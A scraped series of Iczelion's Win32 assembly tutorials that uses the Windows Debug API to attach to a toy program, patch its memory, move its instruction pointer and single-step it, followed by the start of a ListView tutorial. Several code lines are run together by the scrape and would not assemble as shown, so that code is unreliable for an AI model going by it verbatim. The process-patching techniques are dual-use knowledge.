invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
.break

We first check the value in dwDebugEventCode. If it's EXIT_PROCESS_DEBUG_EVENT, we display a message box saying "The debuggee exits" and then get out of the debug loop.

.elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION

If the value in dwDebugEventCode is CREATE_PROCESS_DEBUG_EVENT, then we display several interesting information about the debuggee in a message box. We obtain those information from u.CreateProcessInfo. CreateProcessInfo is a structure of type CREATE_PROCESS_DEBUG_INFO. You can get more info about this structure from Win32 API reference.

.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
.if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue
.endif

If the value in dwDebugEventCode is EXCEPTION_DEBUG_EVENT, we must check further for the exact type of exception. It's a long line of nested structure reference but you can obtain the kind of exception from ExceptionCode member. If the value in ExceptionCode is EXCEPTION_BREAKPOINT and it occurs for the first time (or if we are sure that the debuggee has no embedded int 3h), we can safely assume that this exception occured when the debuggee was going to execute its very first instruction. When we are done with the processing, we must call ContinueDebugEvent with DBG_CONTINUE flag to let the debuggee run. Then we go back to wait for the next debug event.

.elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
.endif

If the value in dwDebugEventCode is CREATE_THREAD_DEBUG_EVENT or EXIT_THREAD_DEBUG_EVENT, we display a message box saying so.

invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw

Except for the EXCEPTION_DEBUG_EVENT case above, we call ContinueDebugEvent with DBG_EXCEPTION_NOT_HANDLED flag to resume the debuggee.

invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread

When the debuggee exits, we are out of the debug loop and must close both process and thread handles of the debuggee. Closing the handles doesn't mean we are killing the process/thread. It just means we don't want to use those handles to refer to the process/thread anymore.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 29: Win32 Debug API Part 2

We continue with the subject of win32 debug API. In this tutorial, we will learn how to modify the debuggee process.
Download the example

Theory:

In the previous tutorial, we know how to load the debuggee and handle debug events that occur in its process. In order to be useful, our program must be able to modify the debuggee process. There are several APIs just for this purpose.

  • ReadProcessMemory This function allows you to read memory in the specified process. The function prototype is as follows:

    ReadProcessMemory proto hProcess:DWORD, lpBaseAddress:DWORD, lpBuffer:DWORD, nSize:DWORD, lpNumberOfBytesRead:DWORD

    hProcess is the handle to the process you want to read.
    lpBaseAddress is the address in the target process you want to start reading. For example, if you want to read 4 bytes from the debuggee process starting at 401000h, the value in this parameter must be 401000h.
    lpBuffer is the address of the buffer to receive the bytes read from the process.
    nSize is the number of bytes you want to read
    lpNumberOfBytesRead is the address of the variable of dword size that receives the number of bytes actually read. If you don't care about it, you can use NULL.

  • WriteProcessMemory is the counterpart of ReadProcessMemory. It enables you to write memory of the target process. Its parameters are exactly the same as those of ReadProcessMemory

    The next two API functions need a little background on context. Under a multitasking OS like Windows, there can be several programs running at the same time. Windows gives each thread a timeslice. When that timeslice expires, Windows freezes the present thread and switches to the next thread that has the highest priority. Just before switching to the other thread, Windows saves values in registers of the present thread so that when the time comes to resume the thread, Windows can restore the last *environment* of that thread. The saved values of the registers are collectively called a context.
    Back to our subject. When a debug event occurs, Windows suspends the debuggee. The debuggee's context is saved. Since the debuggee is suspended, we can be sure that the values in the context will remain unchanged . We can get the values in the context with GetThreadContext and we can change them with SetThreadContext.
    These two APIs are very powerful. With them, you have at your fingertips the VxD-like power over the debuggee: you can alter the saved register values and just before the debuggee resumes execution, the values in the context will be written back into the registers. Any change you made to the context is reflected back to the debuggee. Think about it: you can even alter the value of the eip register and divert the flow of execution to anywhere you like! You won't be able to do that under normal circumstance.

    GetThreadContext proto hThread:DWORD, lpContext:DWORD

    hThread is the handle to the thread that you want to obtain the context from
    lpContext is the address of the CONTEXT structure that will be filled when the function returns successfully.

    SetThreadContext has exactly the same parameters. Let's see what a CONTEXT structure looks like:

  • CONTEXT STRUCT
  • ContextFlags dd ?
    ;----------------------------------------------------------------------------------------------------------
    ; This section is returned if ContextFlags contains the value CONTEXT_DEBUG_REGISTERS
  • ;-----------------------------------------------------------------------------------------------------------
    iDr0 dd ?
    iDr1 dd ?
    iDr2 dd ?
    iDr3 dd ?
    iDr6 dd ?
    iDr7 dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; This section is returned if ContextFlags contains the value CONTEXT_FLOATING_POINT
  • ;-----------------------------------------------------------------------------------------------------------
  • FloatSave FLOATING_SAVE_AREA <>
  • ;----------------------------------------------------------------------------------------------------------
    ; This section is returned if ContextFlags contains the value CONTEXT_SEGMENTS
  • ;-----------------------------------------------------------------------------------------------------------
  • regGs dd ?
    regFs dd ?
    regEs dd ?
    regDs dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; This section is returned if ContextFlags contains the value CONTEXT_INTEGER
  • ;-----------------------------------------------------------------------------------------------------------
  • regEdi dd ?
    regEsi dd ?
    regEbx dd ?
    regEdx dd ?
    regEcx dd ?
    regEax dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; This section is returned if ContextFlags contains the value CONTEXT_CONTROL
  • ;-----------------------------------------------------------------------------------------------------------
  • regEbp dd ?
    regEip dd ?
    regCs dd ?
    regFlag dd ?
    regEsp dd ?
    regSs dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; This section is returned if ContextFlags contains the value CONTEXT_EXTENDED_REGISTERS
  • ;-----------------------------------------------------------------------------------------------------------
  • ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?) CONTEXT ENDS

    As you can observe, the members of this structures are mimics of the real processor's registers. Before you can use this structure, you need to specify which groups of registers you want to read/write in ContextFlags member. For example, if you want to read/write all registers, you must specify CONTEXT_FULL in ContextFlags. If you want only to read/write regEbp, regEip, regCs, regFlag, regEsp or regSs, you must specify CONTEXT_CONTROL in ContextFlags.

    One thing you must remember when using the CONTEXT structure: it must be aligned on dword boundary else you'd get strange results under NT. You must put "align dword" just above the line that declares it, like this:

    align dword
    MyContext CONTEXT <>

Example:

The first example demonstrates the use of DebugActiveProcess. First, you need to run a target named win.exe which goes in an infinite loop just before the window is shown on the screen. Then you run the example, it will attach itself to win.exe and modify the code of win.exe such that win.exe exits the infinite loop and shows its own window.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.2",0
ClassName db "SimpleWinClass",0
SearchFail db "Cannot find the target process",0
TargetPatched db "Target patched!",0
buffer dw 9090h

.data?
DBEvent DEBUG_EVENT <>
ProcessId dd ?
ThreadId dd ?
align dword
context CONTEXT <>

.code
start:
invoke FindWindow, addr ClassName, NULL
.if eax!=NULL
invoke GetWindowThreadProcessId, eax, addr ProcessId
mov ThreadId, eax
invoke DebugActiveProcess, ProcessId
.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE
.break .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL
invoke MessageBox, 0, addr TargetPatched, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
.if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
invoke ContinueDebugEvent, DBEvent.dwProcessId,DBEvent.dwThreadId, DBG_CONTINUE
.continue
.endif
.endif
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
.else
invoke MessageBox, 0, addr SearchFail, addr AppName,MB_OK+MB_ICONERROR .endif
invoke ExitProcess, 0
end start

;--------------------------------------------------------------------
; The partial source code of win.asm, our debuggee. It's actually
; the simple window example in tutorial 2 with an infinite loop inserted
; just before it enters the message loop.
;----------------------------------------------------------------------

......
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ hInst,NULL
mov hwnd,eax
jmp $ <---- Here's our infinite loop. It assembles to EB FE
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

Analysis:

invoke FindWindow, addr ClassName, NULL

Our program needs to attach itself to the debuggee with DebugActiveProcess which requires the process Id of the debuggee. We can obtain the process Id by calling GetWindowThreadProcessId which in turn needs the window handle as its parameter. So we need to obtain the window handle first.
With FindWindow, we can specify the name of the window class we need. It returns the handle to the window created by that window class. If it returns NULL, no window of that class is present.

.if eax!=NULL
invoke GetWindowThreadProcessId, eax, addr ProcessId
mov ThreadId, eax
invoke DebugActiveProcess, ProcessId

After we obtain the process Id, we can call DebugActiveProcess. Then we enter the debug loop waiting for the debug events.

.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context

When we get CREATE_PROCESS_DEBUG_INFO, it means the debuggee is suspended, ready for us to do surgery upon its process. In this example, we will overwrite the infinite loop instruction in the debuggee (0EBh 0FEh) with NOPs ( 90h 90h).
First, we need to obtain the address of the instruction. Since the debuggee is already in the loop by the time our program attached to it, eip will always point to the instruction. All we need to do is obtain the value of eip. We use GetThreadContext to achieve that goal. We set the ContextFlags member to CONTEXT_CONTROL so as to tell GetThreadContext that we want it to fill the "control" register members of the CONTEXT structure.

invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL

Now that we get the value of eip, we can call WriteProcessMemory to overwrite the "jmp $" instruction with NOPs, thus effectively help the debuggee exit the infinite loop. After that we display the message to the user and then call ContinueDebugEvent to resume the debuggee. Since the "jmp $" instruction is overwritten by NOPs, the debuggee will be able to continue with showing its window and enter the message loop. The evidence is we will see its window on screen.

The other example uses a slightly different approach to break the debuggee out of the infinite loop.

.......
.......
.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
add context.regEip,2
invoke SetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
invoke MessageBox, 0, addr LoopSkipped, addr AppName, MB_OK+MB_ICONINFORMATION
.......
.......

It still calls GetThreadContext to obtain the current value of eip but instead of overwriting the "jmp $" instruction, it increments the value of regEip by 2 to "skip over" the instruction. The result is that when the debuggee regains control , it resumes execution at the next instruction after "jmp $".

Now you can see the power of Get/SetThreadContext. You can also modify the other register images as well and their values will be reflected back to the debuggee. You can even insert int 3h instruction to put breakpoints in the debuggee process.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 30: Win32 Debug API part 3

In this tutorial, we continue the exploration of win32 debug api. Specifically, we will learn how to trace the debuggee.
Download the example.

Theory:

If you have used a debugger before, you would be familiar with tracing. When you "trace" a program, the program stops after executing each instruction, giving you the chance to examine the values of registers/memory. Single-stepping is the official name of tracing.
The single-step feature is provided by the CPU itself. The 8th bit of the flag register is called trap flag. If this flag(bit) is set, the CPU executes in single-step mode. The CPU will generate a debug exception after each instruction. After the debug exception is generated, the trap flag is cleared automatically.
We can also single-step the debuggee, using win32 debug api. The steps are as follows:

  1. Call GetThreadContext, specifying CONTEXT_CONTROL in ContextFlags, to obtain the value of the flag register.
  2. Set the trap bit in regFlag member of the CONTEXT structure
  3. call SetThreadContext
  4. Wait for the debug events as usual. The debuggee will execute in single-step mode. After it executes each instruction, we will get EXCEPTION_DEBUG_EVENT with EXCEPTION_SINGLE_STEP value in u.Exception.pExceptionRecord.ExceptionCode
  5. If you need to trace the next instruction, you need to set the trap bit again.

Example:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.4",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0Dh,0Ah
db "Total Instructions executed : %lu",0
TotalInstruction dd 0

.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
context CONTEXT <>

.code
start:
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE
.if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
invoke wsprintf, addr buffer, addr ExitProc, TotalInstruction
invoke MessageBox, 0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
.break
.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext, pi.hThread, addr context
or context.regFlag,100h
invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue
.elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
inc TotalInstruction
invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
.continue
.endif
.endif
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
.endif
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
invoke ExitProcess, 0
end start

Analysis:

The program shows the openfile dialog box. When the user chooses an executable file, it executes the program in single-step mode, couting the number of instructions executed until the debuggee exits.

.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT

We take this opportunity to set the debuggee into single-step mode. Remember that Windows sends an EXCEPTION_BREAKPOINT just before it executes the first instruction of the debuggee.

mov context.ContextFlags, CONTEXT_CONTROL
invoke GetThreadContext, pi.hThread, addr context

We call GetThreadContext to fill the CONTEXT structure with the current values in the registers of the debuggee. More specifically, we need the current value of the flag register.

or context.regFlag,100h

We set the trap bit (8th bit) in the flag register image.

invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue

Then we call SetThreadContext to overwrite the values in the CONTEXT structure with the new one(s) and call ContinueDebugEvent with DBG_CONTINUE flag to resume the debuggee.

.elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
inc TotalInstruction

When an instruction is executed in the debuggee, we receive an EXCEPTION_DEBUG_EVENT. We must examine the value of u.Exception.pExceptionRecord.ExceptionCode. If the value is EXCEPTION_SINGLE_STEP, then this debug event is generated because of the single-step mode. In this case, we can increment the variable TotalInstruction by one because we know that exactly one instruction was executed in the debuggee.

invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
invoke SetThreadContext,pi.hThread, addr context
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
.continue

Since the trap flag is cleared after the debug exception is generated, we must set the trap flag again if we want to continue in single-step mode.
Warning: Don't use the example in this tutorial with a large program: tracing is SLOW. You may have to wait for ten minutes before you can close the debuggee.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 31: Listview Control

We will learn how to create and use the listview control in this tutorial.

Download the example.

Theory:

A listview control is one of the common controls like treeview, richedit etc. You are familiar with it even if you may not know it by its name. For example, the right pane of Windows Explorer is a listview control. A listview control is good for displaying items. In this regard, it's like a listbox but with enhanced capabilities.
You can create a listview control in two ways. The first method is also the easiest one: create it with a resource editor. Just don't forget to call InitCommonControls within your asm source code. The other method is to call CreateWindowEx in your source code. You must specify the correct window class name for the control, ie. SysListView32. The window class "WC_LISTVIEW" is incorrect.
There are four methods of viewing data in a listview control: icon, small icon, list and report views. You can see examples of these views by selecting View->Large Icons (icon view), Small Icons (small icon view), List (list view) and Details (report view). Views are just data representation methods:they only affect the appearances of data. For example, you can have a lot of data in the listview control, but if you want, you can view only some of them. Report view is the most informative one while the remaining views give less info. You can specify the view you want when you create a listview control. You can later change the view by calling SetWindowLong, specifying GWL_STYLE flag.

Now that we know how to create a listview control, we will continue on how to use it. I'll focus on report view which can demonstrate many features of listview control. The steps in using a listview control are as follows:

  1. Create a listview control with CreateWindowEx, specifying SysListView32 as the class name. You can specify the initial view at this time.
  2. (if exists) Create and initialize image lists to be used with the listview items.
  3. Insert column(s) into the listview control. This step is necessary if the listview control will use report view.
  4. Insert items and subitems into the listview control.

Columns

In report view, there are one or more columns. You can think of the arrangement of data in the report view as a table: the data are arranged in rows and columns. You must have at least one column in your listview control (only in report view). In views other than report, you need not insert a column because there can be one and only one column in those views.
You can insert a column by sending LVM_INSERTCOLUMN to the listview control.

LVM_INSERTCOLUMN
wParam = iCol
lParam = pointer to a LV_COLUMN structure

iCol is the column number, starting from 0.
LV_COLUMN contains information about the column to be inserted. It has the following definition:

LV_COLUMN STRUCT
imask dd ?
fmt dd ?
lx dd ?
pszText dd ?
cchTextMax dd ?
iSubItem dd ?
iImage dd ?
iOrder dd ?
LV_COLUMN ENDS

Field name | Meanings
imask

A collection of flags that governs which members in this structure are valid. The reason behind this member is that not all members in this structure are used at the same time. Some members are used in some situations. And this structure is used both for input and output. Thus it's important that you *mark* the members that are used in this call to Windows so Windows knows which members are valid. The available flags are:

LVCF_FMT = The fmt member is valid.
LVCF_SUBITEM = The iSubItem member is valid.
LVCF_TEXT = The pszText member is valid.
LVCF_WIDTH = The lx member is valid.

You can combine the above flags. For example, if you want to specify the text label of the column, you must supply the pointer to the string in pszText member. And you must tell Windows that pszText member contains data by specifying LVCF_TEXT flag in this field else Windows will ignore the value in pszText.
fmt

Specify the alignment of items/subitems in the column. The available values are:

LVCFMT_CENTER = Text is centered.
LVCFMT_LEFT = Text is left-aligned.
LVCFMT_RIGHT = Text is right-aligned.
lx | The width of the column, in pixels. You can later change the width of the column with LVM_SETCOLUMNWIDTH.
pszText | Contains a pointer to the name of the column if this structure is used to set the column's properties. If this structure is used to receive the properties of a column, this field contains a pointer to a buffer large enough to receive the name of the column that will be returned. In that case, you must give the size of the buffer in cchTextMax below. You can ignore cchTextMax if you want to set the name of the column because the name must be an ASCIIZ string which Windows can determine the length.
cchTextMax | The size, in bytes, of the buffer specified in pszText above. This member is used only when you use this structure to receive info about a column. If you use this structure to set the properties of a column, this field is ignored.
iSubItem | Specify the index of subitem associated with this column. This value is used as a marker which subitem this column is associated with. If you want, you can specify an absurd number in this field and your listview control will still run like a breeze. The use of this field is best demonstrated when you have the column number and need to know with which subitem this column is associated. You can query the listview control by sending LVM_GETCOLUMN message to it, specifying LVCF_SUBITEM in the imask member. The listview control will fill the iSubItem member with whatever value you specify in this field when the column is inserted. In order for this method to work, you need to input the correct subitem index into this field.
iImage and iOrder | Used with Internet Explorer 3.0 upwards. I don't have info about them.

So after the listview control is created, you should insert one or more columns into it. Columns are not necessary if you don't plan to switch the listview control into report view. In order to insert a column, you need to create a LV_COLUMN structure, fill it with necessary information, specify the column number and then send the structure to the listview control with LVM_INSERTCOLUMN message.

LOCAL lvc:LV_COLUMN
mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN,0,addr lvc

The above code snippet demonstrates the process. It specifies the column header text and its width then send LVM_INSERTCOLUMN message to the listview control. It's that simple.

Items and subitems

Items are the main entries in the listview control. In views other than report view, you will only see items in the listview control. Subitems are details of the items. An item may have one or more associated subitems. For example, if the item is the name of a file, then you can have the file attributes, its size, the date of file creation as subitems. In report view, the leftmost column contains items and the remaining columns contain subitems. You can think of an item and its subitems as a database record. The item is the primary key of the record and the subitems are fields in the record.
At the bare minimum, you need some items in your listview control: subitems are not necessary. However, if you want to give the user more information about the items, you can associate items with subitems so the user can see the details in the report view.
You insert an item into a listview control by sending LVM_INSERTITEM message to it. You also need to pass the address of an LV_ITEM structure to it in lParam. LV_ITEM has the following definition:

LV_ITEM STRUCT
imask dd ?
iItem dd ?
iSubItem dd ?
state dd ?
stateMask dd ?
pszText dd ?
cchTextMax dd ?
iImage dd ?
lParam dd ?
iIndent dd ?
LV_ITEM ENDS

Field name | Meanings
imask | A collection of flags indicating which members in this structure are valid for this call. In general, this field is similar to imask member of LV_COLUMN above. Check your win32 api reference for more detail on the available flags.
iItem | The index of the item this structure refers to. The index is zero-based. You can think of this field as containing the "row" number of a table.
iSubItem | The index of the subitem associated with the item specified by iItem above. You can think of this field as containing the "column" of a table. For example, if you want to insert an item into a newly created listview control, the value in iItem would be 0 (because this item is the first one), and the value in iSubItem would also be 0 (we want to insert the item into the first column). If you want to specify a subitem associated with this item, the iItem would be the index of the item you want to associate with (in the above example, it's 0), the iSubItem would be 1 or greater, depending on which column you want to insert the subitem into. For example, if your listview control has 4 columns, the first column will contain the items. The remaining 3 columns are for subitems. If you want to insert a subitem into the 4th column, you need to specify the value 3 in iSubItem.
state | This member contains flags that reflect the status of the item. The state of an item can change because of the user's actions or it can be modified by our program. The state includes whether the item has the focus/is hilited/is selected for cut operation/is selected. In addition to the state flags, It can also contains one-based index into the overlay image/state image for use by the item.
stateMask | Since the state member above can contain the state flags, overlay image index , and state image index, we need to tell Windows which value we want to set or retrieve. The value in this field is for such use.
pszText | The address of an ASCIIZ string that will be used as the label of the item in the case we want to set/insert the item. In the case that we use this structure to retrieve the item's property, this member must contain the address of a buffer that will be filled with the label of the item.
cchTextMax | This field is used only when you use this structure to receive info about an item. In this case, this field contains the size in bytes of the buffer specified in pszText above.
iImage | The index into the imagelist containing the icons for the listview control. This index points to the icon to be used with this item.
lParam | A user-defined value that will be used when you sort items in the listview control. In short, when you tell the listview control to sort the items, the listview control will compare the items in pairs. It will send the lParam values of both items to you so you can decide which of the two should be listed first. If you're still hazy about this, don't worry. You'll learn more about sorting later.

Let's summarize the steps in inserting an item/subitem into a listview control.

  1. Create a variable of type LV_ITEM structure
  2. Fill it with necessary information
  3. Send LVM_INSERTITEM message to the listview control if you want to insert an item. Or if you want to *insert* a subitem, send LVM_SETITEM instead. This is rather confusing if you don't understand the relationship between an item and its subitems. Subitems are considered as properties of an item. Thus you can insert items but not subitems and you can't have a subitem without an associated item. That's why you need to send LVM_SETITEM message to add a subitem instead of LVM_INSERTITEM.

ListView Messages/Notifications

Now that you know how to create and populate a listview control, the next step is to communicate with it. A listview control communicates with the parent window via messages and notifications. The parent window can control the listview control by sending messages to it. The listview control notifies the parent of important/interesting events via WM_NOTIFY message, just like other common controls.

Sorting items/subitems

You can specify the default sorting order of a listview control by specifying LVS_SORTASCENDING or LVS_SORTDESCENDING styles in CreateWindowEx. These two styles order the items using their labels only. If you want to sort the items in other ways, you need to send LVM_SORTITEMS message to the listview control.

LVM_SORTITEMS
wParam = lParamSort
lParam = pCompareFunction

lParamSort is a user-defined value that will be passed to the compare function. You can use this value in any way you want.
pCompareFunction is the address of the user-defined function that will decide the outcome of the comparison of items in the listview control. The function has the following prototype:

CompareFunc proto lParam1:DWORD, lParam2:DWORD, lParamSort:DWORD

lParam1 and lParam2 are the values in lParam member of LV_ITEM that you specify when you insert the items into the listview control.
lParamSort is the value in wParam you sent with LVM_SORTITEMS

When the listview control receives LVM_SORTITEMS message, it calls the compare function specified in lParam of the message when it needs to ask us for the result of comparison between two items. In short, the comparison function will decide which of the two items sent to it will precede the other. The rule is simple: if the function returns a negative value, the first item (represented by lParam1) should precede the other. If the function returns a positive value, the second item (represented by lParam2) should precede the first one. If both items are equal, it must return zero.

What makes this method work is the value in lParam of LV_ITEM structure. If you need to sort the items (such as when the user clicks on a column header), you need to think of a sorting scheme that makes use of the values in lParam member. In the example, I put the index of the item in this field so I can obtain other information about the item by sending LVM_GETITEM message. Note that when the items are rearranged, their indexes also change. So when the sorting is done in my example, I need to update the values in lParam to reflect the new indexes. If you want to sort the items when the user clicks on a column header, you need to process LVN_COLUMNCLICK notification message in your window procedure. LVN_COLUMNCLICK is passed to your window proc via WM_NOTIFY message.

Example:

This example creates a listview control and fills it with the names and sizes of the files in the current folder. The default view is the report one. In the report view, you can click on the column heads and the items will be sorted in ascending/descending order. You can select the view you want via the menu. When you double-click on an item, a message box showing the label of the item is displayed.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

IDM_MAINMENU equ 10000
IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

.data
ClassName db "ListViewWinClass",0
AppName db "Testing a ListView Control",0
ListViewClassName db "SysListView32",0
Heading1 db "Filename",0
Heading2 db "Size",0
FileNamePattern db "*.*",0
FileNameSortOrder dd 0
SizeSortOrder dd 0
template db "%lu",0

.data?
hInstance HINSTANCE ?
hList dd ?
hMenu dd ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL, NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, NULL
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,IDM_MAINMENU
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.break .if (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

InsertColumn proc
LOCAL lvc:LV_COLUMN

mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
mov lvc.pszText,offset Heading1
mov lvc.lx,150
invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc
or lvc.imask,LVCF_FMT
mov lvc.fmt,LVCFMT_RIGHT
mov lvc.pszText,offset Heading2
mov lvc.lx,100
